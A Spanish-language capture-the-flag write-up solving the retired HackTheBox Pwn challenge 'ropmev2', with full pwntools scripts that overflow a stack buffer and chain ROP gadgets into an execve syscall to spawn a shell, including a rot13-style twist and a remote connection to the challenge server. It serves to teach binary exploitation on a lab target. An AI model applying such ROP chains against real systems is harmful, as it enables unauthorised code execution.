ropmev2 (Pwn) – HackTheBox [ES]

Este binario vulnerable es un desafío retirado de la categoría Pwn de HackTheBox. Lo pueden descargar acá. Como su nombre sugiere, para resolverlo hay que usar la técnica de Return Oriented Programming (ROP).

Primero veamos que tipo de archivo es con file

ropmev2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0

Es un ejecutable de Linux de 64 bits dinámicamente linkeado. Si lo ejecutamos imprime “Please dont hack me” y espera un input.

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ ./ropmev2 
Please dont hack me
test

Usando checksec podemos ver que no tiene canario para detectar buffer overflows pero tiene flag NX, así que no se puede ejecutar el stack. Por otro lado, el binario no tiene PIE habilitado y entonces se va a ejecutar siempre en la misma posición de memoria, lo que facilita la explotación. Todo esto ya sugiere que va a haber que usar ROP.

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ checksec ropmev2
[*] '/home/octo/HTB/Challenges/Pwn/ropmev2/ropmev2'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Si lo desensamblamos podemos ver un par de cosas. En primer lugar reserva espacio en el stack para un buffer de 0xd0 bytes con la instrucción sub rsp, 0xd0 en 0x40116f pero luego lee 500 bytes cuando llama a read en 0x4011b4. Por lo tanto podemos explotar este buffer.

desensamblado

Por otro lado, si escribimos en el buffer DEBUG entonces el programa va a imprimir “I dont know what this is” y la dirección del buffer. Esto es porque, si da verdadera la comparación realizada en 0x4011ca, se ejecuta el segundo bloque de código.

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ ./ropmev2 
Please dont hack me
DEBUG
I dont know what this is 0x7ffca3dcda90
Please dont hack me

De todas formas no necesitamos esa dirección porque, antes de retornar, la funcion main llama a la función que renombramos como screwBuffer. Luego vamos a ver porque la llamamos así, pero por el momento esto nos sirve porque hace que, al momento de retornar, el registro rdi apunte al buffer. Esto puede ser corroborado debuggeando el programa con gdb y más adelante vamos a ver porque es útil.

La idea es usar la técnica ROP, que consiste en utilizar fragmentos de código del programa llamados gadgets para poder lograr obtener una shell. Estos gadgets están formados por algunas instrucciones y luego en general terminan con la instrucción ret. Entonces, podemos usarlos uno atrás de otro como si fueran llamados a pequeñas funciones sólo que, en vez de ser llamados mediante la instrucción call, son llamados por la instrucción ret. Por este motivo, debemos armar el stack y posicionar correctamente los argumentos de los gadgets luego la dirección de cada uno como se ilustra en este dibujo (tomado de acá):

esquema rop

Donde dice data irían los argumentos de cada gadget. Veamos entonces qué gadgets tiene el binario usando ROPgadget:

$ ROPgadget --binary ropmev2 
Gadgets information
============================================================
0x00000000004010a9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
(...)
0x0000000000401168 : syscall

0x00000000004010d9 : xor al, 0x40 ; add bh, bh ; loopne 0x40114c ; nop ; ret

En 0x401168 está la instrucción syscall que podemos usar para obtener la shell. Vamos a usar la syscall execve para ejecutar /bin/sh y para eso podemos consultar los argumentos acá.

rax System call rdi rsi rdx
59 sys_execve const char *filename const char *const argv[] const char *const envp[]

Entonces hay que buscar gadgets que nos permitan setear rax, rsi y rdx, para luego usar la instrucción syscall. No necesitamos setear rdi porque ya se encontraba apuntando al buffer. Sólo tenemos que escribir en el buffer el binario a ejecutar. rsi y rdx deben ser NULL. Vamos a usar los siguientes gadgets que también obtuvimos con ROPgadget:

  • 0x401162: pop rax; ret
  • 0x401164: pop rdx; pop r13; ret
  • 0x401429: pop rsi; pop r15; ret
  • 0x401168: syscall

Para explotar el binario usamos el siguiente script de Python usando la librería pwntools:

from pwn import *

exploit  = b"/bin/sh\0"                  # buffer
exploit += b"\x41" * (0xd0-len(exploit)) # buffer
exploit += b"\x00" * 0x08                # rbp
exploit += p64(0x401162)      # 1er gadget
exploit += p64(59)            # valor rax (execve)
exploit += p64(0x401164)      # 2d gadget
exploit += b"\x00" * 0x08     # valor rdx (NULL)
exploit += b"\x00" * 0x08     # valor r13 (No importa)
exploit += p64(0x401429)      # 3er gadget
exploit += b"\x00" * 0x08     # valor rsi (NULL)
exploit += b"\x00" * 0x08     # valor r15 (No importa)
exploit += p64(0x401168)      # syscall

sys.stdout.write(exploit)

Luego de cada gadget ponemos el valor que va a ser usado como si fuera un argumento. Por ejemplo, luego del primer gadget ponemos 59 que será popeado a rax al ejecutar el gadget. El tema es que al ejecutarlo vemos que no funciona:

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ (python2 ./exp_local.py; cat)|./ropmev2 
Please dont hack me
ls
cat: write error: Broken pipe
Segmentation fault

Notar que es necesario ejecutar cat luego del exploit para que no se cierre el pipe que permitirá usar sh.

Podemos usar strace para intentar ver porque está fallando la llamada a la syscall execve:

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ (python2 ./exp_local.py; cat)|strace ./ropmev2 
execve("./ropmev2", ["./ropmev2"], 0x7fff18a436a0 /* 43 vars */) = 0
(...)
write(1, "Please dont hack me\n", 20Please dont hack me
)   = 20
read(0, "/bin/sh\0AAAAAAAAAAAAAAAAAAAAAAAA"..., 500) = 288
execve("/ova/fu", NULL, NULL)           = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV +++

Vemos que a pesar de que read está leyendo /bin/sh y guardándolo en el buffer, al momento de ejecutar execve el buffer contiene /ova/fu. Esto es culpa de la función que renombramos como screwBuffer y que es llamada en 0x401207 antes de retornar de main. Mirando un poco esa función, probando un poco y usando un otro poco la intuición podemos ver que la función es reversible. Entonces, basta cambiar /bin/sh por /ova/fu.

El exploit ahora funciona de forma local y queda así:

from pwn import *

exploit  = b"/ova/fu\0"         # buffer
exploit += b"\x41" * (0xd0-len(exploit))       # buffer
exploit += b"\x00" * 0x08       # rbp
exploit += p64(0x401162)        # 1er gadget
exploit += p64(59)              # valor rax (execve)
exploit += p64(0x401164)        # 2er gadget
exploit += b"\x00" * 0x08
exploit += b"\x00" * 0x08
exploit += p64(0x401429)        # 3er gadget
exploit += b"\x00" * 0x08
exploit += b"\x00" * 0x08
exploit += p64(0x401168)        # syscall

sys.stdout.write(exploit)

Sólo resta cambiar un poco el script para usarlo con el servidor remoto de HackTheBox. Para esto cambiamos sys.stdout.write(exploit) por:

p = remote('docker.hackthebox.eu',30257)

context(os='linux',arch='amd64')

print(p.recvline())
p.sendline(exploit)
p.interactive()

Pero cuando lo ejecutamos no funciona. Al que hizo el desafío en HackTheBox le pareció divertido cambiar /bin/sh por otro binario que imprime “LOL NOPE”. Por suerte podemos solucionarlo facilmente usando otro binario, como /bin/bash. Sólo no hay que olvidar escribir el inverso para que screwBuffer lo deje como queremos, que en este caso sería /ova/onfu.